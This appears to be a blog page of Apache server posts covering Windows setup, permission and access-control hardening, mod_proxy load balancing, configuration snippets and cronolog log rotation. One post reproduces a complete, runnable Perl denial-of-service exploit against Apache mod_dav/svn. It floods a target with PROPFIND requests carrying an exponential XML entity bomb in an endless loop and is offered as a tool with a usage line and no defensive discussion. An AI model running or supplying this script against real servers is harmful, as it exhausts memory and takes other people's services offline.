This should respond with a welcome page, and a link to the Apache manual. If nothing happens or you get an error, look in the error.log file in the logs directory. If your host isn’t connected to the net, you may have to use this URL:

  http://127.0.0.1/

Once your basic installation is working, you should configure it properly by editing the files in the conf directory.

Because Apache CANNOT share the same port with another TCP/IP application, you may need to stop or uninstall certain services first. These include (but are not limited to) other web servers, and firewall products such as BlackIce. If you can only start Apache with these services disabled, reconfigure either Apache or the other product so that they do not listen on the same TCP/IP ports. You may find the Windows "netstat -an" command useful in finding out what ports are in use.

Configuring Apache for Windows

Apache is configured by files in the conf directory. These are the same as files used to configure the Unix version, but there are a few different directives for Apache on Windows.

Begin configuring the Apache server by reviewing httpd.conf and its directives. Although the files access.conf and srm.conf both exist, these are old files which are no longer used by most administrators, and you will find no directives there.

httpd.conf contains a great deal of documentation itself, followed by the default configuration directives recommended when starting with the Apache server. Begin by reading these comments to understand the configuration file, and make small changes, starting Apache in a console window with each change. If you make a mistake, it will be easier to back up to configuration that last worked. You will have a better idea of which change caused the server to fail.

The main differences in Apache for Windows are:

  • Because Apache for Windows is multithreaded, it does not use a separate process for each request, as Apache does with Unix. Instead there are usually only two Apache processes running: a parent process, and a child which handles the requests. Within the child each request is handled by a separate thread. So, "process"-management directives are different:
    • MaxRequestsPerChild – Like the Unix directive, this controls how many requests a process will serve before exiting. However, unlike Unix, a process serves all the requests at once, not just one, so if this is set, it is recommended that a very high number is used. The recommended default, MaxRequestsPerChild 0, does not cause the process to ever exit.
    • ThreadsPerChild – This directive is new, and tells the server how many threads it should use. This is the maximum number of connections the server can handle at once; be sure and set this number high enough for your site if you get a lot of hits. The recommended default is ThreadsPerChild 50.
  • The directives that accept filenames as arguments now must use Windows filenames instead of Unix ones. However, because Apache uses Unix-style names internally, you must use forward slashes, not backslashes. Drive letters can be used; if omitted, the drive with the Apache executable will be assumed.
  • Apache for Windows has the ability to load modules at runtime, without recompiling the server. If Apache is compiled normally, it will install a number of optional modules in the \modules directory. To activate these, or other modules, the new LoadModule directive must be used. For example, to active the status module, use the following (in addition to the status-activating directives in access.conf): 
        LoadModule status_module modules/mod_status.so

    Information on creating loadable modules is also available. Note that some 3rd party modules may be distributed in the old style names, ApacheModuleFoo.dll. Always set the LoadModule command as directed as documented by the 3rd party module’s own documentation.

  • Apache for Windows version 1.3 series is implemented in synchronous calls. This poses an enormous problem for CGI authors, who won’t see unbuffered results sent immediately to the browser. This is not the behavior described for CGI in Apache, but it is a side-effect of the Windows port. Apache 2.0 is making progress to implement the expected asynchronous behavior, and we hope to discover that the NT/2000 implementation allows CGI’s to behave as documented.

  • Apache can also load ISAPI Extensions (i.e., Internet Server Applications), such as those used by Microsoft’s IIS, and other Windows servers. More information is available. Note that Apache CANNOT load ISAPI Filters.

Running Apache in a Console Window

The Start menu icons and the NT Service manager can provide a simple interface for administering Apache. But in some cases it is easier to work from the command line.

When working with Apache it is important to know how it will find the configuration files. You can specify a configuration file on the command line in two ways:

  • -f specifies a path to a particular configuration file: 
    apache -f "c:\my server\conf\my.conf"
    apache -f test\test.conf
  • -n specifies the configuration file of an installed Apache service (Apache 1.3.7 and later): 
    apache -n "service name"

In these cases, the proper ServerRoot should be set in the configuration file.

If you don’t specify a configuration file name with -f or -n, Apache will use the file name compiled into the server, usually "conf/httpd.conf". Invoking Apache with the -V switch will display this value labeled as SERVER_CONFIG_FILE. Apache will then determine its ServerRoot by trying the following, in this order:

  • A ServerRoot directive via a -C switch.
  • The -d switch on the command line.
  • The current working directory
  • A registry entry, created if you did a binary install.
  • The server root compiled into the server.

The server root compiled into the server is usually "/apache". invoking apache with the -V switch will display this value labeled as HTTPD_ROOT.

When invoked from the start menu, Apache is usually passed no arguments, so using the registry entry is the preferred technique for console Apache.

During a binary installation, a registry key will have been installed, for example:

  HKEY_LOCAL_MACHINE\Software\Apache Group\Apache\1.3.13\ServerRoot

This key is compiled into the server and can enable you to test new versions without affecting the current version. Of course you must take care not to install the new version on top of the old version in the file system.

If you did not do a binary install then Apache will in some scenarios complain about the missing registry key. This warning can be ignored if it otherwise was able to find its configuration files.

The value of this key is the "ServerRoot" directory, containing the conf directory. When Apache starts it will read the httpd.conf file from this directory. If this file contains a ServerRoot directive which is different from the directory obtained from the registry key above, Apache will forget the registry key and use the directory from the configuration file. If you copy the Apache directory or configuration files to a new location it is vital that you update the ServerRoot directory in the httpd.conf file to the new location.

To run Apache from the command line as a console application, use the following command:

    apache

Apache will execute, and will remain running until it is stopped by pressing control-C.

Controlling Apache in a Console Window

You can tell a running Apache to stop by opening another console window and running:

    apache -k shutdown

Note: This option is only available with Apache 1.3.3 and later.

For earlier versions, you must use Control-C in the Apache console window to shut down the server.

From version 1.3.3 through 1.3.12, this should be used instead of pressing Control-C in a running Apache console window, because it allowed Apache to end any current transactions and cleanup gracefully.

As of version 1.3.13 pressing Control-C in the running window will cleanup Apache quite gracefully, and you may use -k stop as an alias for -k shutdown. Earlier versions do not understand -k stop.

You can also tell Apache to restart. This makes it re-read the configuration files. Any transactions in progress are allowed to complete without interruption. To restart Apache, run:

    apache -k restart

Note: This option is only available with Apache 1.3.3 and later. For earlier versions, you need to use Control-C in the Apache console window to shut down the server, and then restart the server with the Apache command.

Another very useful feature is the configuration files test option. To test the Apache configuration files, run:

    apache -t

This is especially useful following alterations to the configuration files while Apache is still running. You can make the changes, confirm that the syntax is good by issuing the "apache -t" command, then restart Apache with "apache -k restart". Apache will re-read the configuration files, allowing any transactions in progress to complete without interruption. Any new request will then be served using the new configuration.

Note: for people familiar with the Unix version of Apache, these commands provide a Windows equivalent to kill -TERM pid and kill -USR1 pid. The command line option used, -k, was chosen as a reminder of the "kill" command used on Unix.

Tagged with: • •
Jun 25

Security Tips for Apache Server Configuration

By jason Apache Server No Comments »

Some hints and tips on security issues in setting up a web server. Some of the suggestions will be general, others specific to Apache.

Permissions on ServerRoot Directories

In typical operation, Apache is started by the root user, and it switches to the user defined by the User directive to serve hits. As is the case with any command that root executes, you must take care that it is protected from modification by non-root users. Not only must the files themselves be writeable only by root, but so must the directories, and parents of all directories. For example, if you choose to place ServerRoot in /usr/local/apache then it is suggested that you create that directory as root, with commands like these: 

    mkdir /usr/local/apache
    cd /usr/local/apache
    mkdir bin conf logs
    chown 0 . bin conf logs
    chgrp 0 . bin conf logs
    chmod 755 . bin conf logs

It is assumed that /, /usr, and /usr/local are only modifiable by root. When you install the httpd executable, you should ensure that it is similarly protected: 

    cp httpd /usr/local/apache/bin
    chown 0 /usr/local/apache/bin/httpd
    chgrp 0 /usr/local/apache/bin/httpd
    chmod 511 /usr/local/apache/bin/httpd

You can create an htdocs subdirectory which is modifiable by other users — since root never executes any files out of there, and shouldn’t be creating files in there.

If you allow non-root users to modify any files that root either executes or writes on then you open your system to root compromises. For example, someone could replace the httpd binary so that the next time you start it, it will execute some arbitrary code. If the logs directory is writeable (by a non-root user), someone could replace a log file with a symlink to some other system file, and then root might overwrite that file with arbitrary data. If the log files themselves are writeable (by a non-root user), then someone may be able to overwrite the log itself with bogus data.

Server Side Includes

Server side includes (SSI) can be configured so that users can execute arbitrary programs on the server. That thought alone should send a shiver down the spine of any sys-admin.

One solution is to disable that part of SSI. To do that you use the IncludesNOEXEC option to the Options directive.

Non Script Aliased CGI

Allowing users to execute CGI scripts in any directory should only be considered if;

  1. You trust your users not to write scripts which will deliberately or accidentally expose your system to an attack.
  2. You consider security at your site to be so feeble in other areas, as to make one more potential hole irrelevant.
  3. You have no users, and nobody ever visits your server.

Script Alias’ed CGI

Limiting CGI to special directories gives the admin control over what goes into those directories. This is inevitably more secure than non script aliased CGI, but only if users with write access to the directories are trusted or the admin is willing to test each new CGI script/program for potential security holes.

Most sites choose this option over the non script aliased CGI approach.

CGI in general

Always remember that you must trust the writers of the CGI script/programs or your ability to spot potential security holes in CGI, whether they were deliberate or accidental.

All the CGI scripts will run as the same user, so they have potential to conflict (accidentally or deliberately) with other scripts e.g. User A hates User B, so he writes a script to trash User B’s CGI database. One program which can be used to allow scripts to run as different users is suEXEC which is included with Apache as of 1.2 and is called from special hooks in the Apache server code. Another popular way of doing this is with CGIWrap.

Stopping users overriding system wide settings…

To run a really tight ship, you’ll want to stop users from setting up .htaccess files which can override security features you’ve configured. Here’s one way to do it…

In the server configuration file, put

<Directory />

AllowOverride None

Options None

Allow from all

</Directory>

Then setup for specific directories

This stops all overrides, Includes and accesses in all directories apart from those named.

Protect server files by default

One aspect of Apache which is occasionally misunderstood is the feature of default access. That is, unless you take steps to change it, if the server can find its way to a file through normal URL mapping rules, it can serve it to clients.

For instance, consider the following example:

  1. # cd /; ln -s / public_html
  2. Accessing http://localhost/~root/

This would allow clients to walk through the entire filesystem. To work around this, add the following block to your server’s configuration: 

 <Directory />
     Order Deny,Allow
     Deny from all
 </Directory>

This will forbid default access to filesystem locations. Add appropriate <Directory> blocks to allow access only in those areas you wish. For example, 

 <Directory /usr/users/*/public_html>
     Order Deny,Allow
     Allow from all
 </Directory>
 <Directory /usr/local/httpd>
     Order Deny,Allow
     Allow from all
 </Directory>

Pay particular attention to the interactions of <Location> and <Directory> directives; for instance, even if <Directory /> denies access, a <Location /> directive might overturn it.

Also be wary of playing games with the UserDir directive; setting it to something like "./" would have the same effect, for root, as the first example above. If you are using Apache 1.3 or above, we strongly recommend that you include the following line in your server configuration files:

UserDir disabled root
Tagged with: • •
Jun 05

How to load balance with apache

By jason Apache Server No Comments »

deployment overview

web server
site1.yourdomain.com
192.168.1.35

web server
siste2.yourdomain.com
192.168.1.36

data server
db1.yourdomain.com
192.168.1.37

load balancer
balance-1.yourdomain.com
192.168.1.45

install and enable apache and proxy_balancer

1.create a dedicated server for load balancing. install apache2 and then install mod proxy_balancer and proxy_http with dependencies.

2.enable mod_proxy in httpd.conf. note that i’m leaving ProxyRequests off since we’re only using the ProxyPass and ProxyPassReverse directives. this keeps the server secure from spammers trying to use your proxy to send email.

<IfModule mod_proxy.c>
        ProxyRequests Off

        <Proxy *>
                AddDefaultCharset off
                Order deny,allow
                Allow from all
                #Allow from .example.com
        </Proxy>

        ProxyVia On
</IfModule>

configure mod_proxy and mod_proxy_balancer

mod_proxy and mod_proxy balancer serve as a very functional load balancer. however mod_proxy_balancer makes slightly unfortunate assumptions about the format of the cookie that you’ll use for sticky session handling. one way to work around this is to create your own session cookie (very easy with apache). the examples below describe how to do this

first create a virtual host or use the default  and add this configuration to it:

<Location /balancer-manager>
SetHandler balancer-manager
Order Deny,Allow
Deny from all
Allow from 192.168
</Location>
<Proxy balancer://mycluster>
  # cluster member 1
  BalancerMember http://site1.yourdomain.com:80 route=lb1
  # cluster member 2
  BalancerMember http://site2.yourdomain.com:80 route=lb2
</Proxy>
ProxyPass /balancer-manager !
ProxyPass / balancer://mycluster/ lbmethod=byrequests stickysession=BALANCEID
ProxyPassReverse / http://site1.yourdomain.com/
ProxyPassReverse / http://site2.yourdomain.com/

Note:

  • i’m allowing access to the balancer manager from any IP matching 192.168.*.*
  • i’m load balancing between 2 servers (site1.yourdomain.com, site2.yourdomain.com) on port 80
  • i’m defining two routes for these servers called lb1 and lb2
  • i’m excluding (!) the balancer-manager directory fro the ProxyPass to allow access to the manager ui on the load balancing server
  • i’m expecting a cookie called BALANCEID to be available to manage sticky sessions

  • this is a simplistic load balancing configuration. apache has many options to control timeouts, server loading, failover etc. too much to cover but read more in the apache documentation

    configure the web servers to write a session cookie

    on each of the web servers, add this code to your vhost configuration:

    RewriteEngine On
    RewriteRule .* - [CO=BALANCEID:balancer.lb1:.yourdomain.com]

    making sure to specify the correct route e.g. lb1 on site1.yourdomain.com etc.

    you also probably want to setup your cookie domain properly in drupal, i.e. modify drupal/sites/default/settings.php as follows:

    # $cookie_domain = 'example.com';
    $cookie_domain = 'yourdomain.com';

    important urls

    useful urls for testing are:

    References:

  • apache’s mod_proxy_balancer documentation
  • apache’s mod_proxy documentation

     

    About Load Banlance topic you can read my old post:

    • Tagged with: • • •
    Jun 01

    Apache mod_dav svn Remote Denial of Service Exploit

    By jason Security Tools No Comments »

    # Apache mod_dav / svn Remote Denial of Service Exploit
    # by kcope / June 2009
    #
    # Will exhaust all system memory
    # Needs Authentication on normal DAV
    #
    # This can be especially serious stuff when used against
    # svn (subversion) servers!! Svn might let the PROPFIND slip through
    # without authentication. bwhahaaha :o)
    # use at your own risk! 

    #furoffyourcat.pl
use IO::Socket;
use MIME::Base64;

sub usage {
	print "Apache mod_dav / svn Remote Denial of Service Exploit\n";
	print "by kcope in 2009\n";
	print "usage: perl furoffyourcat.pl <remotehost> <webdav folder> [username] [password]\n";
	print "example: perl furoffyourcat.pl svn.XXX.com /projects/\n";exit;
}

if ($#ARGV < 1) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];

$username = $ARGV[2];
$password = $ARGV[3];

$|=1;

$BasicAuth = encode_base64("$username:$password");
chomp $BasicAuth;

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                              PeerPort => 80,
                              Proto    => 'tcp');
print $sock "PROPFIND $webdavfile HTTP/1.1\r\n";
print $sock "Host: $hostname\r\n";
print $sock "Depth: 0\r\n";
print $sock "Connection: close\r\n";
if ($username ne "") {
print $sock "Authorization: Basic $BasicAuth\r\n";
}
print $sock "\r\n";
$x = <$sock>;	

print $x;
if (!($x =~ /207/)) {
while(<$sock>) {
	print;
}
close($sock);
 print "No PROPFIND on this server and path.\n";
 exit(0);
}

$a = "";
for ($i=1;$i<256;$i++) {		# Here you can increase the XML bomb count
	$k = $i-1;
	$a .= "<!ENTITY x$i \"&x$k;&x$k;\">\n"
}

$igzml =
"<?xml version=\"1.0\"?>\n"
."<!DOCTYPE REMOTE [\n"
."<!ELEMENT REMOTE ANY>\n"
."<!ENTITY x0 \"foobar\">\n"
.$a
."]>\n"
."<REMOTE>\n"
."&x$k;\n"
."</REMOTE>\n";

print "Apache mod_dav / svn Remote Denial of Service Exploit\n";
print "by kcope in 2009\n";
print "Launching DoS Attack...\n";

$ExploitRequest =
 "PROPFIND $webdavfile HTTP/1.1\r\n"
."Host: $hostname\r\n"
."Depth: 0\r\n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($igzml)."\r\n\r\n" . $igzml;

while(1) {
again:
my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                              PeerPort => 80,
                              Proto    => 'tcp') || (goto again);

print $sock $ExploitRequest;
print ";Pp";
}
    Tagged with: • • • •
    May 28

    apache configuration skills

    By jason Apache Server 2 Comments »

    Changing protocol behavior with misbehaving clients
    Earlier versions recommended that the following lines be included in httpd.conf to deal with known client problems. Since the affected clients are no longer seen in the wild, this configuration is likely no-longer necessary.

    #
    # The following directives modify normal HTTP response behavior.
    # The first directive disables keepalive for Netscape 2.x and browsers that
    # spoof it. There are known problems with these browser implementations.
    # The second directive is for Microsoft Internet Explorer 4.0b2
    # which has a broken HTTP/1.1 implementation and does not properly
    # support keepalive when it is used on 301 or 302 (redirect) responses.
    #
    BrowserMatch “Mozilla/2″ nokeepalive
    BrowserMatch “MSIE 4\.0b2;” nokeepalive downgrade-1.0 force-response-1.0

    #
    # The following directive disables HTTP/1.1 responses to browsers which
    # are in violation of the HTTP/1.0 spec by not being able to grok a
    # basic 1.1 response.
    #
    BrowserMatch “RealPlayer 4\.0″ force-response-1.0
    BrowserMatch “Java/1\.0″ force-response-1.0
    BrowserMatch “JDK/1\.0″ force-response-1.0

    Prevent “Image Theft”
    This example shows how to keep people not on your server from using images on your server as inline-images on their pages. This is not a recommended configuration, but it can work in limited circumstances. We assume that all your images are in a directory called /web/images.

    SetEnvIf Referer “^http://www\.example\.com/” local_referal # Allow browsers that do not send Referer info SetEnvIf Referer “^$” local_referal <Directory /web/images>
    Order Deny,Allow
    Deny from all
    Allow from env=local_referal
    </Directory>

    Do not log requests for images in the access log

    This example keeps requests for images from appearing in the access log. It can be easily modified to prevent logging of particular directories, or to prevent logging of requests coming from particular hosts.

    SetEnvIf Request_URI \.gif image-request
    SetEnvIf Request_URI \.jpg image-request
    SetEnvIf Request_URI \.png image-request
    CustomLog logs/access_log common env=!image-request

    Changing protocol behavior with misbehaving clients

    Earlier versions recommended that the following lines be included in httpd.conf to deal with known client problems. Since the affected clients are no longer seen in the wild, this configuration is likely no-longer necessary.

    #
# The following directives modify normal HTTP response behavior.
# The first directive disables keepalive for Netscape 2.x and browsers that
# spoof it. There are known problems with these browser implementations.
# The second directive is for Microsoft Internet Explorer 4.0b2
# which has a broken HTTP/1.1 implementation and does not properly
# support keepalive when it is used on 301 or 302 (redirect) responses.
#
BrowserMatch "Mozilla/2" nokeepalive
BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0

#
# The following directive disables HTTP/1.1 responses to browsers which
# are in violation of the HTTP/1.0 spec by not being able to grok a
# basic 1.1 response.
#
BrowserMatch "RealPlayer 4\.0" force-response-1.0
BrowserMatch "Java/1\.0" force-response-1.0
BrowserMatch "JDK/1\.0" force-response-1.0

    Tagged with: • •
    Dec 28

    Split Apache Log With Cronolog

    By jason Apache Server No Comments »

    About Cronolog

    cronolog is a simple filter program that reads log file entries from standard input and writes each entry to the output file specified by a filename template and the current date and time. When the expanded filename changes, the current file is closed and a new one opened. cronolog is intended to be used in conjunction with a Web server, such as Apache, to split the access log into daily or monthly logs


    Install cronolog in the Linux

    #wget http://cronolog.org/download/cronolog-1.6.2.tar.gz
    #tar zxvf cronolog-1.6.2.tar.gz
    #cd cronolog-1.6.2
    #./configure
    #make
    #make install

    cronolog options

    Long form

    Short form

    Meaning

    –hardlink=NAME

    -H NAME

    maintain a hard link from NAME to the current log file

    –symlink=NAME

    -S NAME

    maintain a symbolic link from NAME to the current log file

    –prev-symlink=NAME

    -P NAME

    maintain a symbolic link from NAME to previous log

    –link=NAME

    -l NAME

    same as -S/–symlink

    –help

    -h

    print a help message then exit

    –period=PERIOD

    -p PERIOD

    set the rotation period explicitly (new in 1.6.2)

    –delay=DELAY

    set the rotation period delay (new in 1.6.2 — this will be renamed –rotation-offset with a short form of -o in 1.6.3)

    –once-only

    create single output log from template (not rotated)

    –debug=FILE

    -x FILE

    write debug messages to FILE ( or to standard error if FILE is "-")

    –american

    -a

    Interprete ambiguous start dates in American date formats (mm/dd/yy[yy])

    –european

    -e

    Interprete ambiguous start dates in European date formats (dd/mm/yy[yy] – default)

    –start-time=DT

    -s DT

    starting date and time (in ambiguous cases interpreted according to –american or –european specification)

    –time-zone=TZ

    -z TZ

    use TZ for timezone

    –version

    -V

    print version number, then exit

    Template specifiers

    Specifier

    Description

    %%

    a literal % character

    %n

    a new-line character

    %t

    a horizontal tab character

    Time fields

    %H

    hour (00..23)

    %I

    hour (01..12)

    %p

    the locale’s AM or PM indicator

    %M

    minute (00..59)

    %S

    second (00..61, which allows for leap seconds)

    %X

    the locale’s time representation (e.g.: "15:12:47")

    %Z

    time zone (e.g. GMT), or nothing if the time zone cannot be determined

    Date fields

    %a

    the locale’s abbreviated weekday name (e.g.: Sun..Sat)

    %A

    the locale’s full weekday name (e.g.: Sunday .. Saturday)

    %b

    the locale’s abbreviated month name (e.g.: Jan .. Dec)

    %B

    the locale’s full month name, (e.g.: January .. December)

    %c

    the locale’s date and time (e.g.: "Sun Dec 15 14:12:47 GMT 1996")

    %d

    day of month (01 .. 31)

    %j

    day of year (001 .. 366)

    %m

    month (01 .. 12)

    %U

    week of the year with Sunday as first day of week (00..53, where week 1 is the week containing the first Sunday of the year)

    %W

    week of the year with Monday as first day of week (00..53, where week 1 is the week containing the first Monday of the year)

    %w

    day of week (0 .. 6, where 0 corresponds to Sunday)

    %x

    locale’s date representation (e.g. today in Britain: "15/12/96")

    %y

    year without the century (00 .. 99)

    %Y

    year with the century (1970 .. 2038)


    Cronolog usage:

    Edit your httpd.conf file

    CustomLog "|/path/to/cronolog [OPTIONS] logfile-spec" [format]

    CustomLog "|/usr/sbin/cronolog /web/logs/%Y/%m/%d/access.log" combined
    ErrorLog "|/usr/sbin/cronolog /web/logs/%Y/%m/%d/errors.log"

    Security issues with cronolog

    As far as I am aware noone has done a formal security audit of cronolog. However I have checked the code for potential buffer overflows and such like, and have not found anything untoward. Users should however be aware that cronolog is normally invoked from the web server and passed a filename template from which it constructs the names of the log files that are written. On Unix-like systems piped log programs are started by the initial server process, which runs as root; thus cronolog will usually run as root. If an attacker can write to the web server configuration file then he or she could cause cronolog to write to critical files. Mind you if an attacker does manage to change the web server configuration file then all sorts of nefarious actions are open to them.

    Tagged with: • •
    Next Entries
    preload preload preload